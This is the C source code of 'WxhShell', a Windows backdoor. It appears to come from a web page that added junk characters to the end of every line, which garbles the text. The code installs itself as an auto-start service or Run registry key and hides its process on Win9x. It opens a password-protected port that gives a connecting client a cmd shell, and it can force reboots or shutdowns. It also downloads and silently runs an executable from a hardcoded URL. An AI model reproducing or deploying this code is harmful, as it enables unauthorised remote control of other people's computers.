    closesocket(wsh); T QSzx%i2  
    ExitThread(0); [ji#U s:h  
    } b{]z w pf  
    break; Dm-zMCf}Q  
    } I/L_@X<*r  
  // 获取shell 7w/4QiI  
  case 's': { Te}8!_ohyC  
    CmdShell(wsh); fDvl/|62{  
    closesocket(wsh); Db1pW=66:  
    ExitThread(0); Xt@Z}B))pu  
    break; cxr=k%~}J  
  } INi]R^-  
  // 退出 Y! gCMLL  
  case 'x': { Y<Fz)dQo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {O`w,dMOI  
    CloseIt(wsh); -Ty*aov  
    break; D~$r\ ]av  
    } al9t^  
  // 离开 NH<5*I/  
  case 'q': { _q{c##K f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LkK~%tY  
    closesocket(wsh); t<|NLk.  
    WSACleanup(); 8@2OJ=`[  
    exit(1); pt?q#EfFJ  
    break; UmclTGn  
        } Ou1JIxZ)|  
  } }0X:F`Y-  
  } %+K<<iyR|  
|>JS!NM I  
  // 提示信息 G6FEp`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dqe^E%mc  
} XAe% m^  
  } kZerKP  
w$`5g  
  return; e^[H[d.WMC  
} 1PP $XJtyD  
A3S<.. g2  
// shell模块句柄 ~;&m*2 |V  
int CmdShell(SOCKET sock) @Q/-s9b  
{ ~(IB0=A{v  
STARTUPINFO si; i2&ed_h<?  
ZeroMemory(&si,sizeof(si)); _cJ2\`M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O2BDL1o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LM-J !44  
PROCESS_INFORMATION ProcessInfo; vc+ARgvH+  
char cmdline[]="cmd"; 8qEVOZjV&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ts ^"xlK  
  return 0; P}TI q#  
} mHBnC&-/  
:E@3Vl#U  
// 自身启动模式 Bxfc}vC.  
int StartFromService(void) %ve:hym*  
{  $W9{P;  
typedef struct $[/&74#0HX  
{ !/3B3cG  
  DWORD ExitStatus; =<X?sj5  
  DWORD PebBaseAddress; .NvQm]N0.  
  DWORD AffinityMask; g47-db"5  
  DWORD BasePriority; de;GrPLAi  
  ULONG UniqueProcessId; 846$x$G4  
  ULONG InheritedFromUniqueProcessId; +{W>i;U  
}   PROCESS_BASIC_INFORMATION; .G)(0z("s  
*i- _6s  
PROCNTQSIP NtQueryInformationProcess; f/Hm{<BY  
0;:.B j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Wr3mQU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [I$ BmGQ  
u*tN)f3  
  HANDLE             hProcess; <p\6AnkMr  
  PROCESS_BASIC_INFORMATION pbi; YJ;j x0  
Eg2[k.{P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ae0> W  
  if(NULL == hInst ) return 0; RQ'H$r.7g  
'F _8j;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X(\fN[;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); weE/TW\e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <Gt2(;  
o(r\E0 I  
  if (!NtQueryInformationProcess) return 0; fe_yqIdk  
$n+w$CI)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;ml)l~~YU  
  if(!hProcess) return 0; ;r>snJ=M  
+tk{"s^r*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .$%Soyr?,  
3plzHz,x  
  CloseHandle(hProcess); 'C ~ y5j  
L}}y'^(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K!'AkTW+-  
if(hProcess==NULL) return 0; C0 /g1;p(  
Z6_N$Z.A  
HMODULE hMod; 3&[>u;Bp  
char procName[255]; DiEluA&w9  
unsigned long cbNeeded; '6xQT-sUih  
6C]1Q.f;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u9}1)9  
B]Y}Hu  
  CloseHandle(hProcess); j^;I3_P  
jGEt+\"/QJ  
if(strstr(procName,"services")) return 1; // 以服务启动 D!.+Y-+Xzu  
P~G1EK|4  
  return 0; // 注册表启动 -#2)?NkeE  
} @:U+9[  
YE=q:Bv  
// 主模块 +AHUp)  
int StartWxhshell(LPSTR lpCmdLine) W0k0$\iX  
{ $T`<Qq-r  
  SOCKET wsl; )Lwc  
BOOL val=TRUE; 4 &_NJ\  
  int port=0; {e[c  
  struct sockaddr_in door; :bWUuXVtJ  
+H9>A0JF  
  if(wscfg.ws_autoins) Install(); "ajjJ"x A  
pDh{Z g6t  
port=atoi(lpCmdLine); -|Y(V5]  
B:e @0049  
if(port<=0) port=wscfg.ws_port; GW$.lo1|)  
+[ R/=$  
  WSADATA data; 3$m4q`J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1\g6)|R-+  
%_(H{y_!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m^H21P"z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F6K4#t+9  
  door.sin_family = AF_INET; qnoNT%xazo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {.De4]ANh  
  door.sin_port = htons(port); CMCO}#  
|R56ho5C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e?Ho a$k  
closesocket(wsl); 98WZ){+,m  
return 1; RheRe  
} @~#Ym1{W  
ooV3gj4  
  if(listen(wsl,2) == INVALID_SOCKET) { 5Pd"h S  
closesocket(wsl); .9"Y_/0   
return 1; V\{tmDE  
} h-m \%|D  
  Wxhshell(wsl); K)-m*#H&uw  
  WSACleanup(); xw3YK!$sIF  
6X\ 2GC9  
return 0; 7\9>a  
{qmdm`V[  
} o.'g]Q<}UB  
TP"1\O  
// 以NT服务方式启动 {O,{c\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Uv?|G%cD-  
{ sL@U  
DWORD   status = 0; sPpsq  
  DWORD   specificError = 0xfffffff; Wa1, p  
dpFVN[\oK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0%Z]h?EYy|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y /BJIQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K"0PTWt  
  serviceStatus.dwWin32ExitCode     = 0; DZv=\<$,LF  
  serviceStatus.dwServiceSpecificExitCode = 0; IR-dU<<9O  
  serviceStatus.dwCheckPoint       = 0; svuq gSn  
  serviceStatus.dwWaitHint       = 0; "d$m@c  
VB?O hk]<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jU3Z*Z)zN  
  if (hServiceStatusHandle==0) return; ~{D[ >j][  
8?i7U<CB  
status = GetLastError(); +Ag!?T  
  if (status!=NO_ERROR) vi|R(&  
{ kdCP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  (:";i&  
    serviceStatus.dwCheckPoint       = 0; x&`~R>5/  
    serviceStatus.dwWaitHint       = 0; h[?O+Z^  
    serviceStatus.dwWin32ExitCode     = status; *$"gaXI  
    serviceStatus.dwServiceSpecificExitCode = specificError; |0\0a&tkPl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hw|AA?,0-  
    return; =e}H'5?!  
  } "n: %E  
RKa}$ 7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZWm8*}3]7_  
  serviceStatus.dwCheckPoint       = 0; C:uz6i1  
  serviceStatus.dwWaitHint       = 0; J8"[6vId~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LS5vW|]w  
} Qq@G\eRo  
?0 m\(#  
// 处理NT服务事件,比如:启动、停止 v NeCpf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .!6>oL/iF  
{ tU^kQR!  
switch(fdwControl) \y88d4zX  
{ a3VM '  
case SERVICE_CONTROL_STOP: [ G e=kFB  
  serviceStatus.dwWin32ExitCode = 0; _kdL'x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !{82D[5  
  serviceStatus.dwCheckPoint   = 0; +dP L>R  
  serviceStatus.dwWaitHint     = 0; >^OC{~Az  
  { R@*O!bD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d7&eLLx  
  } +,&O1ykY  
  return; nZ_v/?O  
case SERVICE_CONTROL_PAUSE: i z~ pGkt  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Yyfq  
  break; g!`3{ /4  
case SERVICE_CONTROL_CONTINUE: AWjm~D-?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Rm5Kkzd0o  
  break; bO;(bE m@  
case SERVICE_CONTROL_INTERROGATE: yg2uC(2  
  break; "GQl~  
}; 3-%Cw2ds  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2qHf'  
} jV/CQM5a+  
>;#=gM  
// 标准应用程序主函数 \NG C$p n  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8LI-gp\ 2  
{ WA$>pG5s  
`Rd m-[&  
// 获取操作系统版本 CAU0)=M  
OsIsNt=GetOsVer(); 3s:%2%jVK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {i*2R^5  
m$LVCB  
  // 从命令行安装 ZO7&vF}  
  if(strpbrk(lpCmdLine,"iI")) Install(); ur\qOX|{  
68iV/ 7  
  // 下载执行文件 Nk;iiz+_p  
if(wscfg.ws_downexe) { Y2R\]FrT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t UR c bwV  
  WinExec(wscfg.ws_filenam,SW_HIDE); Fa epDjY8  
} m3 ^/: <  
{3Y )rY!z  
if(!OsIsNt) { BYM3jXWi0v  
// 如果时win9x,隐藏进程并且设置为注册表启动 R|P_GN6 >  
HideProc(); 4<X!<]3]  
StartWxhshell(lpCmdLine); |3{&@7  
} \@~UDP]7  
else 5 #]4YI;  
  if(StartFromService()) K?4FT$9G  
  // 以服务方式启动 QJW`}`R  
  StartServiceCtrlDispatcher(DispatchTable); Vi]c%*k  
else fIocq  
  // 普通方式启动 G2#d $  
  StartWxhshell(lpCmdLine); Y=*P 8pg  
0fs$#j  
return 0; }K(o9$V ^!  
} -/D|]qqHm  
MDRe(rF=  
m9md|yS  
kJ(A,s|  
=========================================== qUo-Dq>  
@4!x>q$3  
kLS(w??T  
tehUD&  
)2Hff.  
l+wc '= ]  
" 8z<r.joxC  
DXQi-+?  
#include <stdio.h> %g cc y|  
#include <string.h> 1# t6`N]?V  
#include <windows.h> L fl-!1  
#include <winsock2.h> ?`zgq>R}w[  
#include <winsvc.h> quo^fqS&a  
#include <urlmon.h> 6`$[Ini  
*]x*B@RF  
#pragma comment (lib, "Ws2_32.lib") X['2b78k  
#pragma comment (lib, "urlmon.lib") nN3$\gHp8i  
[ut#:1h^  
#define MAX_USER   100 // 最大客户端连接数 Ze!92g  
#define BUF_SOCK   200 // sock buffer ~~8rI[/  
#define KEY_BUFF   255 // 输入 buffer ,}C8;/V  
^ie^VY($  
#define REBOOT     0   // 重启 A%vsno!  
#define SHUTDOWN   1   // 关机 AaN"7.Z/  
Ae?e 70bY  
#define DEF_PORT   5000 // 监听端口 bQa oMZB  
P|^$kK  
#define REG_LEN     16   // 注册表键长度 fj 4^VXD  
#define SVC_LEN     80   // NT服务名长度 4S L_-Hm.  
}~o ikN:  
// 从dll定义API z8Q"% @  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =f:(r'm?r.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ACV ek  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~]8p_;\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^ft]b2i  
l[/q%Ca'>  
// wxhshell配置信息 6U,fz#<,}  
struct WSCFG { d `j?7Z  
  int ws_port;         // 监听端口 {5Eyr$  
  char ws_passstr[REG_LEN]; // 口令 !U BVPR*  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5]7&IDA]]9  
  char ws_regname[REG_LEN]; // 注册表键名 1]\TI7/ n  
  char ws_svcname[REG_LEN]; // 服务名 b0a}ME&1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L8V3BH7B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?Ay3u^X  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5@XV6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S;A)C`X&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mjEs5XCC"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 vv 7+ >%  
o6?l/nJ  
}; 2[dIOb4b  
g]`bnZ7  
// default Wxhshell configuration FBsn;,3<W  
struct WSCFG wscfg={DEF_PORT, /qxJgoa  
    "xuhuanlingzhe", ,.g}W~S)  
    1, o&^NwgRCF  
    "Wxhshell", gKL1c{BV  
    "Wxhshell", [xpQH?  
            "WxhShell Service", M^H90GN)X  
    "Wrsky Windows CmdShell Service", 3:|-#F*k{  
    "Please Input Your Password: ", C=VIT*=  
  1, 00M`%c/  
  "http://www.wrsky.com/wxhshell.exe", p\U*;'hv  
  "Wxhshell.exe" DMkhbo&+  
    }; {TL +7kiX/  
Z~3u:[x";  
// 消息定义模块 (L|}`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B4O6> '  
char *msg_ws_prompt="\n\r? for help\n\r#>"; C(]'&~}(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ):bu;3E  
char *msg_ws_ext="\n\rExit."; ,deUsc  
char *msg_ws_end="\n\rQuit."; ';/84j-3F  
char *msg_ws_boot="\n\rReboot..."; _ K/swT{f  
char *msg_ws_poff="\n\rShutdown..."; O}gX{_|6  
char *msg_ws_down="\n\rSave to "; i=8UBryr'e  
-3mgza  
char *msg_ws_err="\n\rErr!"; rR!U;  
char *msg_ws_ok="\n\rOK!"; r]t )x*  
a{`"68  
char ExeFile[MAX_PATH]; s#lto0b"8  
int nUser = 0; F14(;'Az  
HANDLE handles[MAX_USER]; )!C7bTv 4  
int OsIsNt; 9bn2UiJ k  
;,0lUcV  
SERVICE_STATUS       serviceStatus; \n@V-b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ck$2Ue2`@w  
Igjr~@ #  
// 函数声明 5.k}{{+  
int Install(void); >38 Lt\  
int Uninstall(void);  C6)R#  
int DownloadFile(char *sURL, SOCKET wsh); z{6 YC~  
int Boot(int flag); 2cjEex:&  
void HideProc(void); Bn-J_-%M  
int GetOsVer(void); l#6&WWmr  
int Wxhshell(SOCKET wsl); -SJSTO[/J  
void TalkWithClient(void *cs); *mV&K\_  
int CmdShell(SOCKET sock); a RKv+{K  
int StartFromService(void); k ]bPI$  
int StartWxhshell(LPSTR lpCmdLine); ? : md  
6_U |(f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n{=7 yK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2 `5=0E1k  
n4>cERf a  
// 数据结构和表定义 gUGOHd(A  
SERVICE_TABLE_ENTRY DispatchTable[] = S'?fJ.  
{ NQ!<f\m4n  
{wscfg.ws_svcname, NTServiceMain}, J"bD\%  
{NULL, NULL} E{gv,cUM  
}; ou;qO 5CT  
6z1\a  
// 自我安装 QSmJ`Bm  
int Install(void) `Z8^+AMc  
{ 0IFlEe[>#  
  char svExeFile[MAX_PATH]; f N0bIE Y  
  HKEY key; BVAr&cu  
  strcpy(svExeFile,ExeFile); RH=$h! 5  
va>"#;37  
// 如果是win9x系统,修改注册表设为自启动 L *{QjH  
if(!OsIsNt) { b8cVnP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i7f%^7!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fqX~xp  
  RegCloseKey(key); *')Q {8`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o4'Wr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (+x]##Q  
  RegCloseKey(key); bqjr0A7{  
  return 0; ,|iy1yg(  
    } jnDQ{D  
  } q\U4n[Zk  
} }Eb]9c\  
else { ^vn\4  
fD(7F N8  
// 如果是NT以上系统,安装为系统服务 |1i]L@&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |>@ -grs  
if (schSCManager!=0) UnjNR[=  
{ C1D ! V:  
  SC_HANDLE schService = CreateService {WKOJG+.  
  ( I <xy?{s  
  schSCManager, qM*S*,s  
  wscfg.ws_svcname, CfY7<o1>  
  wscfg.ws_svcdisp, O8$~*NFJf  
  SERVICE_ALL_ACCESS, Ft$^x-d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Nor`c+,4  
  SERVICE_AUTO_START, .}~$1QKS  
  SERVICE_ERROR_NORMAL, oc((Yo+B  
  svExeFile, W CoF{ *  
  NULL, HNFhH0+^  
  NULL, u6p5:oJj,  
  NULL, ,,}sK  
  NULL, wH#-mu#Yl<  
  NULL -+' #*V  
  ); `1$y(w]  
  if (schService!=0) k%^<}s@  
  { ~ z>BfL  
  CloseServiceHandle(schService); Wk,6) jS=}  
  CloseServiceHandle(schSCManager); ]xI?,('_m  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PC[cHgSYU  
  strcat(svExeFile,wscfg.ws_svcname); gjQ=8&i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vi<X3G6Xh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }/4 9T  
  RegCloseKey(key); Fj,(_^  
  return 0; /_HwifRQ  
    } d>;2,srUf  
  } .P8-~?&M  
  CloseServiceHandle(schSCManager); ) (+)Q'*  
} }R`Irxv4  
} 2H3(HZv  
Dw*Arc+3V  
return 1; -}<d(c  
} :;q>31:h  
&q"'_4  
// 自我卸载 R|$[U  
int Uninstall(void) xHm/^C&px  
{ 0FTRm2(  
  HKEY key; (GnVwJ<v9V  
e/ WBgiLw  
if(!OsIsNt) { 'xsbm^n6a&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9ptZVv=O  
  RegDeleteValue(key,wscfg.ws_regname); pK<%<dIc  
  RegCloseKey(key); ,;7`{Nab  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E3LBPXK  
  RegDeleteValue(key,wscfg.ws_regname); r7RU"H:j8  
  RegCloseKey(key); 1Jl{1;c  
  return 0; @uoT{E[  
  } HRj7n<>L=  
} WBy[m ?d  
} <8g=BWA  
else { g>UBZA4  
tK*%8I\s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C?{D"f`[]  
if (schSCManager!=0) <sO?ev[  
{ ;x,+*%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )-)ss"\+Ju  
  if (schService!=0) Fgskb"k/  
  { g&q]@m  
  if(DeleteService(schService)!=0) { k?o^5@b/  
  CloseServiceHandle(schService); |OOXh[y  
  CloseServiceHandle(schSCManager); Td5bDO  
  return 0; ss/h[4h4h  
  } DgC3 > yL  
  CloseServiceHandle(schService); 3Ca \`m)l  
  } c]e`m6  
  CloseServiceHandle(schSCManager); vlAO z  
} 4}+xeGA$  
} zjea4>!A2  
Akv(} !g  
return 1; lj4%(rB=  
} bd,Uz% o_  
P8"6"}B;T  
// 从指定url下载文件 qbEKp HnB  
int DownloadFile(char *sURL, SOCKET wsh) /3OC7!~;fM  
{ 7WgIhQ~  
  HRESULT hr; t'dHCp}  
char seps[]= "/"; (D0C#<4P  
char *token; 7U&5^s )J  
char *file; x(rd$oZO  
char myURL[MAX_PATH]; S@9w'upd  
char myFILE[MAX_PATH]; iJ,M-GHK  
YR?3 61FK  
strcpy(myURL,sURL); $K+4C0wX`  
  token=strtok(myURL,seps); h U 9\y  
  while(token!=NULL) N 9c8c  
  { :a#F  
    file=token; N$C{f;xV  
  token=strtok(NULL,seps); d&NCFx  
  } @c6"RHG9  
zv$Gma_  
GetCurrentDirectory(MAX_PATH,myFILE); ub[""M?  
strcat(myFILE, "\\"); <\E"clZI  
strcat(myFILE, file); +8Of-ZUx  
  send(wsh,myFILE,strlen(myFILE),0); m5X3{[a :  
send(wsh,"...",3,0); u+I3IdU3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wy,Jw3  
  if(hr==S_OK) wCV>F-  
return 0; 5dg-d\ 6S  
else UN-T ^  
return 1; \R6;Fef  
=Dh$yC-Zr  
} oP+kAV#]  
TTeAa  
// 系统电源模块 n33JTqX  
int Boot(int flag) 1y},9ym  
{ ->#y(}  
  HANDLE hToken; c_@XQ&DC`  
  TOKEN_PRIVILEGES tkp; 3DxZ#/!  
t)\D  
  if(OsIsNt) { K?5B>dv@A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2=igS#h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j5PaSk&o=  
    tkp.PrivilegeCount = 1; 4}.WhE|h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; di8W2cwz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  ]# Y|   
if(flag==REBOOT) { 0 $n8b/%.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^^n +  
  return 0; 8W19#?7>B  
} T [i7C3QS  
else { M,.b`1-w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kb/|;!  
  return 0; pi^^L@@ d  
} (! xg$Kz@  
  } )$ ofl%+  
  else { 66I|0_  
if(flag==REBOOT) { >&$$(Bp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P3+)pOE-SI  
  return 0; aeG#: Ln+{  
} #g@  
else { cxtLy&C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h g%@W  
  return 0; T)b3N| ONB  
} l@,);w=_P  
} B]A 5n8<  
Z_iAn TT  
return 1; mA&RN"+V  
} F3k C"H  
S% JNxT7'  
// win9x进程隐藏模块 Fv?R\`52u  
void HideProc(void) 8vz_~p9%j  
{ r!{w93rPX  
SRA|7g}7W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1Pud,!\%q  
  if ( hKernel != NULL ) hKk\Y{wv'  
  { q`/amI0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1VhoJGH;C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IUh5r(d 68  
    FreeLibrary(hKernel); 5en [)3E  
  } L eG7x7n  
.\z|Fr  
return; ^4u3Q  
} m&Y; /kr  
8CHb~m@^$  
// 获取操作系统版本 B(4:_ j\2  
int GetOsVer(void) Z]mM  
{ /E`l:&89)  
  OSVERSIONINFO winfo; l%sp[uqcg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Nw9-pQ  
  GetVersionEx(&winfo); ,omp F$%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tz\+'6NpOb  
  return 1; 7&;[an^w  
  else <Dt /Rad  
  return 0; 1R5\GKF6o  
} ]C}u- B746  
HI"!n$p  
// 客户端句柄模块 2x<Qt2"  
int Wxhshell(SOCKET wsl) BiHiVhD_  
{ Rxvd+8FF  
  SOCKET wsh; Ft%TnEp  
  struct sockaddr_in client; T+AlcOP  
  DWORD myID; veYsctK~  
s${T*)S@G  
  while(nUser<MAX_USER) 'k-u9  
{ <|KKv5[  
  int nSize=sizeof(client); ^7ea6G"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %nDPM? aO  
  if(wsh==INVALID_SOCKET) return 1; <?q&PCAn^  
YLA557~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IyG = 7  
if(handles[nUser]==0) yNhscAMNn  
  closesocket(wsh); 9A/Kn]s(jj  
else 8!o{W=m^4  
  nUser++; +E q~X=x  
  } / K_e;(Y_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0j a  
~uhyROO,G"  
  return 0; wzHjEW  
} %468s7Q[Mi  
[6,]9|~  
// 关闭 socket J'G`=m"-'  
void CloseIt(SOCKET wsh) .R$+#_  
{ X]JpS  
closesocket(wsh); C0t+Q  
nUser--; ,E*a$cCw  
ExitThread(0); 0p:ClM 2O  
} ;+r)j"W  
bMqu5G_q  
// 客户端请求句柄 1^x2WlUm4  
void TalkWithClient(void *cs) E&iWtwkz  
{ CfkNy[}=  
eB<V%,%N#  
  SOCKET wsh=(SOCKET)cs; !OuTXa,I H  
  char pwd[SVC_LEN]; ! kOl$!X4  
  char cmd[KEY_BUFF]; ( l3UNP  
char chr[1]; n3l"L|W^(<  
int i,j; s{"`=dKT  
>?G|Yz*kEJ  
  while (nUser < MAX_USER) { F653[[eQ  
N#pl mPrZ  
if(wscfg.ws_passstr) { P xP?hk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ? !oVf>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /+<%,c$n  
  //ZeroMemory(pwd,KEY_BUFF); 8}"f|6Wm  
      i=0; X5L(_0?F1  
  while(i<SVC_LEN) { |7S4;  
7kX7\[zN  
  // 设置超时 7'{Yz  
  fd_set FdRead; r'9=k x  
  struct timeval TimeOut; l $p_])x  
  FD_ZERO(&FdRead); (Qx-KRH  
  FD_SET(wsh,&FdRead); VeN&rjc  
  TimeOut.tv_sec=8; T4HoSei  
  TimeOut.tv_usec=0; OU)p)Y_z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mf*9^}l+Zn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); G>q{~HE1  
s!j(nUd/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7G>0,'XC  
  pwd=chr[0]; `G ;Lz^  
  if(chr[0]==0xd || chr[0]==0xa) { -h G 9  
  pwd=0; F)E7(Un`8  
  break; 0'q(XB`i=  
  } ohc/.5Kl  
  i++; S0Bl?XsD_  
    } _ntW}})K  
I(?|Ox9"?  
  // 如果是非法用户,关闭 socket !0. 5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pzt Zb  
} * 0&i'0>  
#>=/15:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5&rCNi*\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YzhN|!;!k  
^+- L;XkeY  
while(1) { ?9('o\N:  
/K1$_   
  ZeroMemory(cmd,KEY_BUFF); uG(~m_7Hx  
,syA()  
      // 自动支持客户端 telnet标准   :d% -,v  
  j=0; M[ ~2,M&H  
  while(j<KEY_BUFF) { <_sT]?N #  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cP#]n)<  
  cmd[j]=chr[0]; 8Snq75Q<   
  if(chr[0]==0xa || chr[0]==0xd) { )HzITsFZKT  
  cmd[j]=0; ek{PA!9Sk  
  break; #o r7T^  
  } f<> YYeY  
  j++; Xg!|F[i  
    } $ vw}p.  
,a]~hNR*X  
  // 下载文件 g]iy-,e  
  if(strstr(cmd,"http://")) { Y%CL@G60  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /[0 /8f6  
  if(DownloadFile(cmd,wsh)) u'~b<@wHB  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >uPde5"ZF-  
  else J%Z)#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z'EO   
  } p=`x  
  else { hml\^I8Q>F  
i3kI2\bd/  
    switch(cmd[0]) { ~gi( 1<#  
  L$TKO,T  
  // 帮助 p\]LEP\z,  
  case '?': { DO-K  
